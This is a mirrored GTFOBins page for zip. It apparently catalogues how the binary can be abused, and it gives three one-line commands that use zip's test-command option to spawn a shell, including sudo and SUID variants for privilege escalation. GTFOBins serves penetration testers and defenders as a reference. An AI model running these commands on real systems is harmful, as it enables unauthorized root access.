This website requires JavaScript.
Explore
Help
Register
Sign In
mirror
/
GTFOBins.github.io
Watch
1
Star
0
Fork
0
You've already forked GTFOBins.github.io
mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced
2026-01-11 09:51:33 +01:00
Code
Issues
d4b50275bb
GTFOBins.github.io
/
_gtfobins
/
zip.md
Emilio Pinna
0ba5df0cb9
Use temporary files in zip functions
2018-08-19 11:32:48 +01:00
373 B
Raw
Blame
History
functions
execute-interactive
sudo-enabled
suid-limited
code
TF=$(mktemp -u) zip $TF /etc/hosts -T -TT 'sh #' rm $TF
code
TF=$(mktemp -u) sudo zip $TF /etc/hosts -T -TT 'sh #' sudo rm $TF
code
TF=$(mktemp -u) ./zip $TF /etc/hosts -T -TT 'sh #' sudo rm $TF